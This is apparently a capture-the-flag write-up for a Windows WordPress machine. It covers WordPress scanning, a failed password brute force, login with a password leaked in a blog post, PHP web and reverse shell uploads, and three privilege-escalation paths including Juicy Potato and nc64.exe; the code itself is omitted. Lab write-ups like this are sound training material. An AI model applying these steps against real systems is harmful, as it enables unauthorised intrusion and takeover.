wpscan identified that XML-RPC was enabled but it wasn't very useful going forward.

I tried to bruteforce wades account but no luck. Looking back later the password was not in the below password list but it was in rockyou.txt but it would have taken awhile to find it.
wade added his password to one of the blog posts and from there I could login to wp-login.
Reverse Shell
Reverse Shell Failed Attempt
revshell.php code
Kali
I realized my reverse shell wasn't working as it is a Windows box. I uploaded a web shell and ran commands to realize this.
PHP web shell
PHP web shell #2
This shell was better as it gave me a reverse shell rather than just a web one.

After a lot of time wasted I realized there was no where to write files to and this account was a dead end. Then tried to RDP in as wade since we had a potential password for him.

Privilege Escalation Option #1
For this I wouldn't normally know how to detect but when you open up chrome the exploit is already bookmarked.
Navigate to C:\Windows\System32 and type in *.* to show all files.
Open the cmd prompt and it open as an Administrator account, but note if you already had Internet explorer open it won't work so make sure it is closed before starting
Privilege Escalation Option #2
Since the web user had more access than Wade but we couldn't write anywhere I made a folder that they could write to.
Kali
Victim(cmd) - Wade

Victim(cmd) - retro
Privilege Escalation Option #3
This is still with Juicy Potato but just a slightly different way using nc64.exe instead of a reverse shell.
